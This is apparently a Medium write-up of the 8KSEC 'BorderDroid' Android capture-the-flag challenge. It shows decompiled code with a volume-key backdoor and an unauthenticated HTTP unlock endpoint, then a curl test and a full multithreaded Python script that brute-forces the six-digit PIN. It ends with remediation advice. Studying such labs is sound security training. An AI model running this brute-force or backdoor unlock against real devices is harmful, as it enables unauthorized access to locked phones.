← Back to list

BorderDroid — 8KSEC

Introduction

Mohammed Ashraf · 2026-05-28 19:53 · 0 claps · 6.0 min read
#penetration-testing #ctf #ctf-writeup #8ksec #android-pentesting
Open on Medium ↗
Wiki topics: 🔒 · Cybersecurity

BorderDroid — 8KSEC

Introduction

BorderDroid is an Android security challenge presented by 8KSEC. The application simulates a real-world scenario where a suspect’s device is locked using a custom kiosk-mode application. As a penetration tester playing the role of a border control agent, the objective is to bypass the security mechanisms and access the device without root permissions and without relying on direct USB-based attacks.

This writeup documents the full analysis process, from initial exploration to successful exploitation.

Environment Setup

Before diving into analysis, the following tools were used:

  • jadx — for decompiling the APK into readable Java source code
  • adb — Android Debug Bridge for device communication
  • Burp Suite / curl — for HTTP traffic testing
  • Python 3 — for writing the brute-force script

Step 1 — Initial Application Exploration

When the APK is first installed and launched, the application opens on the Accessibility Settings screen. This is because BorderDroid requires accessibility permissions to enforce kiosk mode, which is a standard Android feature that locks the device into a single application, preventing the user from navigating away.

Enabling Kiosk Mode

Once the user grants accessibility permission, the app transitions to the Dashboard screen, where the user is prompted to set a 6-digit PIN. This PIN is intended to be the only way to unlock the device later.

After setting the PIN, the user presses the “Start Security” button, which activates kiosk mode. From this point:

  • The device is fully locked
  • A custom lock screen is displayed
  • Even entering the correct PIN results in a “Wrong PIN” message
  • The user cannot exit the application or access any other part of the system

This behavior immediately raises a red flag — if the correct PIN doesn’t work, there must be another mechanism controlling the unlock process.

Step 2 — Static Analysis (APK Decompilation)

The APK was decompiled using jadx-gui, which converted the .dex bytecode back into readable Java source code. The analysis focused on three main areas:

  1. The AndroidManifest.xml file
  2. The YouAreSecureActivity class (the lock screen)
  3. The HttpUnlockService and RemoteTriggerReceiver classes

Step 3 — Manifest Analysis

The AndroidManifest.xml reveals the full structure of the application:

xml

<activity android:name="com.eightksec.borderdroid.SplashActivity" android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
</activity>
<activity android:name="com.eightksec.borderdroid.YouAreSecureActivity"
    android:exported="false"
    android:launchMode="singleTask"
    android:lockTaskMode="if_whitelisted"/>
<receiver android:name="com.eightksec.borderdroid.receiver.RemoteTriggerReceiver"
    android:enabled="true"
    android:exported="true">
    <intent-filter>
        <action android:name="com.eightksec.borderdroid.ACTION_PERFORM_REMOTE_TRIGGER"/>
    </intent-filter>
</receiver>

Key Observations from the Manifest

  • YouAreSecureActivity is the lock screen and uses lockTaskMode="if_whitelisted", confirming it uses Android's Lock Task Mode (kiosk mode)
  • RemoteTriggerReceiver is marked as **exported="true", which means any external application or service on the same device or network can send intents to it** — this is a major vulnerability
  • Multiple activities like WipeTimerActivity and NothingHereActivity suggest the app has a self-destruct mechanism on repeated failed attempts

Step 4 — Analyzing the Lock Screen (YouAreSecureActivity)

Decompiling YouAreSecureActivity reveals two important discoveries:

Discovery 1 — The PIN is Never Validated

Looking at the PIN entry logic, the application collects digits from a numeric keypad but never actually validates them against the stored PIN correctly. The “Wrong PIN” message is essentially hardcoded behavior — the lock screen is designed to always reject input regardless.

Discovery 2 — Hardcoded Volume Key Backdoor

java

private static final int VOL_DOWN = 25;
private static final int VOL_UP = 24;
private static final long SEQUENCE_TIMEOUT_MS = 2000;
private final List<Integer> targetSequence = 
    YouAreSecureActivity$$ExternalSyntheticBackport0.m(24, 25, 24, 25);

The developer embedded a secret hardware button sequence that bypasses the PIN entirely. The sequence is:

VOL_UP → VOL_DOWN → VOL_UP → VOL_DOWN

All four presses must happen within 2 seconds. The sequence checker:

java

private void checkVolumeSequence() {
    while (this.volumeSequence.size() > this.targetSequence.size()) {
        this.volumeSequence.remove(0);
    }
    if (this.volumeSequence.equals(this.targetSequence)) {
        this.volumeSequence.clear();
        unlockAndReturnToDashboard();  // <-- Direct unlock, no PIN needed
    }
}

When triggered, unlockAndReturnToDashboard() is called:

java

private void unlockAndReturnToDashboard() {
    stopLockTask();           // Exits kiosk mode
    setKioskState(false);    // Updates internal state
    Intent intent = new Intent(this, DashboardActivity.class);
    intent.addFlags(603979776);
    startActivity(intent);   // Goes back to dashboard
    finish();
}

This is a complete bypass — no PIN required. This is clearly a developer backdoor left in production code.

Step 5 — Analyzing the HTTP Unlock Service

Beyond the hardware backdoor, a far more exploitable vulnerability was discovered: an embedded HTTP server running inside the application.

HttpUnlockService

java

public class HttpUnlockService extends Service {
    private static final int SERVER_PORT = 8080;
    private WebServer server;
@Override
    public int onStartCommand(Intent intent, int i, int i2) {
        // Starts as foreground service (persistent)
        startForeground(1, buildNotification());

        if (!this.server.isAlive()) {
            this.server.start(NanoHTTPD.SOCKET_READ_TIMEOUT, false);
        }
        return 1;
    }
}

The service uses NanoHTTPD, a lightweight embedded Java HTTP server, and listens on port 8080. It accepts POST requests to the /unlock endpoint:

java

public NanoHTTPD.Response serve(NanoHTTPD.IHTTPSession iHTTPSession) {
    if (NanoHTTPD.Method.POST.equals(iHTTPSession.getMethod()) 
        && "/unlock".equalsIgnoreCase(iHTTPSession.getUri())) {

        HashMap hashMap = new HashMap();
        iHTTPSession.parseBody(hashMap);
        String postData = hashMap.get("postData");

        String pin = new JSONObject(postData).optString("pin", null);
        if (pin != null) {
            broadcastVulnerableUnlockIntentWithPin(pin);
            return newFixedLengthResponse("Unlock attempt initiated.");
        }
    }
}

The server:

  1. Accepts a JSON body with a "pin" field
  2. Passes it to broadcastVulnerableUnlockIntentWithPin()
  3. Has zero rate limiting — you can send unlimited requests
  4. Has zero authentication — anyone on the network can reach it

How the Broadcast Works

java

private void broadcastVulnerableUnlockIntentWithPin(String pin) {
    Intent intent = new Intent(RemoteTriggerReceiver.ACTION_PERFORM_REMOTE_TRIGGER);
    intent.putExtra(RemoteTriggerReceiver.EXTRA_TRIGGER_PIN, pin);
    intent.setClassName(this.context, RemoteTriggerReceiver.class.getName());
    this.context.sendBroadcast(intent);
}

The PIN is sent as a broadcast to RemoteTriggerReceiver.

Step 6 — Analyzing RemoteTriggerReceiver

java

public class RemoteTriggerReceiver extends BroadcastReceiver {
    public static final String ACTION_PERFORM_REMOTE_TRIGGER = 
        "com.eightksec.borderdroid.ACTION_PERFORM_REMOTE_TRIGGER";
    public static final String EXTRA_TRIGGER_PIN = 
        "com.eightksec.borderdroid.EXTRA_TRIGGER_PIN";
    @Override
    public void onReceive(Context context, Intent intent) {
        String pin = intent.getStringExtra(EXTRA_TRIGGER_PIN);

        if (new PinStorage().verifyPin(context, pin)) {
            performUnlockActions(context);  // <-- Unlock if PIN matches
        }
    }
    private static void lambda$performUnlockActions$0(Context context) {
        // 1. Shows toast: "Remote Action Triggered (PIN OK)"
        Toast.makeText(context, "Remote Action Triggered (PIN OK)", 1).show();

        // 2. Disables kiosk state in SharedPreferences
        context.getSharedPreferences("kiosk_state", 0)
               .edit().putBoolean("is_kiosk_active", false).apply();

        // 3. Sends local broadcast to stop kiosk enforcement
        LocalBroadcastManager.getInstance(context)
                             .sendBroadcast(new Intent(ACTION_STOP_KIOSK));

        // 4. Stops the HTTP service
        context.stopService(new Intent(context, HttpUnlockService.class));

        // 5. Navigates to Dashboard
        Intent intent = new Intent(context, DashboardActivity.class);
        intent.addFlags(872415232);
        context.startActivity(intent);
    }
}

The full unlock chain is now clear:

HTTP POST /unlock {"pin":"XXXXXX"}
        ↓
HttpUnlockService receives request
        ↓
Broadcasts intent with PIN to RemoteTriggerReceiver
        ↓
PinStorage.verifyPin() checks PIN
        ↓
If correct → performUnlockActions() → Device unlocke

Step 7 — Exploitation

Setting Up Port Forwarding

Since the HTTP server runs locally on the device, port forwarding is needed to reach it from the attacker machine:

bash

adb forward tcp:8080 tcp:8080

Testing the Endpoint

bash

curl -X POST http://127.0.0.1:8080/unlock \
     -H "Content-Type: application/json" \
     -d '{"pin":"123456"}'

Response: Unlock attempt initiated (vulnerable pathway).

This confirms the endpoint is reachable and responsive.

Brute Force Script

Since the PIN is 6 digits (000000–999999 = 1,000,000 combinations) and there is no rate limiting or lockout, a multithreaded brute-force attack is viable:

python

import requests
import threading
# Target configuration
HOST = "127.0.0.1"
PORT = 8080
UNLOCK_URL = f"http://{HOST}:{PORT}/unlock"
NUM_THREADS = 20
found = threading.Event()
correct_pin = [None]
def attempt_range(start, end):
    """
    Each thread handles a range of PINs.
    Uses a persistent session for connection reuse (faster).
    """
    session = requests.Session()

    for pin in range(start, end):
        # Stop if another thread already found the PIN
        if found.is_set():
            return

        formatted_pin = str(pin).zfill(6)

        try:
            response = session.post(
                UNLOCK_URL,
                json={"pin": formatted_pin},
                timeout=5
            )
            print(f"\r[*] Trying: {formatted_pin}", end="", flush=True)

        except requests.exceptions.RequestException:
            # Connection dropped = device unlocked by previous PIN
            correct_pin[0] = str(pin - 1).zfill(6)
            print(f"\n[+] SUCCESS! Correct PIN: {correct_pin[0]}")
            found.set()
            return
def launch_attack():
    total_pins = 1_000_000
    chunk_size = total_pins // NUM_THREADS
    threads = []

    print(f"[*] Starting brute force with {NUM_THREADS} threads...")
    print(f"[*] Each thread handles {chunk_size:,} PINs\n")

    for i in range(NUM_THREADS):
        start = i * chunk_size
        end = start + chunk_size if i < NUM_THREADS - 1 else total_pins

        t = threading.Thread(
            target=attempt_range,
            args=(start, end),
            daemon=True
        )
        threads.append(t)
        t.start()

    for t in threads:
        t.join()

    if not found.is_set():
        print("[-] All combinations exhausted. PIN not found.")
    else:
        print(f"\n[+] Device successfully unlocked with PIN: {correct_pin[0]}")
if __name__ == "__main__":
    launch_attack()

Why the Connection Drop Indicates Success

When the correct PIN is submitted:

  1. RemoteTriggerReceiver calls performUnlockActions()
  2. The kiosk exits and HttpUnlockService is stopped
  3. The HTTP server shuts down
  4. The next request from the brute-force script fails with a connection error
  5. This connection error is the signal that the previous PIN was correct

Vulnerability Summary

VulnerabilitySeverityDetail1Exported BroadcastReceiverCriticalExternal apps can trigger unlock intents2Unauthenticated HTTP endpointCriticalNo auth, no rate limit, accessible over network3Hardcoded backdoor sequenceHighVolume key combination bypasses PIN entirely4Plaintext HTTP serverMediumNo TLS, traffic is unencrypted5No brute-force protectionCritical1M PIN combinations with zero lockout

Remediation Recommendations

For the exported receiver: Remove android:exported="true" or add proper permission checks:

xml

<receiver android:name=".receiver.RemoteTriggerReceiver"
    android:exported="false"/>

For the HTTP endpoint:

  • Implement request rate limiting (e.g., max 5 attempts per minute)
  • Add account lockout after repeated failures
  • Switch to HTTPS with certificate pinning
  • Remove the endpoint entirely if not needed in production

For the backdoor:

  • Remove all hardcoded sequences from production builds
  • Use ProGuard/R8 to obfuscate sensitive logic

For the PIN storage:

  • Add a delay between PIN verification attempts
  • Implement exponential backoff

Final Result

[embed]

Conclusion

BorderDroid demonstrates several critical Android security mistakes that compound into a complete device compromise. The combination of an exported broadcast receiver, an unauthenticated embedded HTTP server, and no rate limiting creates an attack surface that allows any device on the same network to brute-force the PIN and unlock the device — precisely the scenario the application was designed to prevent.

The challenge highlights that security-focused applications must undergo thorough threat modeling, particularly around inter-process communication (IPC) mechanisms like broadcast receivers and services, which are common sources of privilege escalation vulnerabilities in Android.


메타데이터
post_id
3a487a1d51e2
slug
borderdroid-8ksec-3a487a1d51e2
url
https://medium.com/@TionoX/borderdroid-8ksec-3a487a1d51e2
canonical_url
https://medium.com/@TionoX/borderdroid-8ksec-3a487a1d51e2
author_url
https://medium.com/@TionoX
status
ok
fetched_at
2026-06-10 15:53:41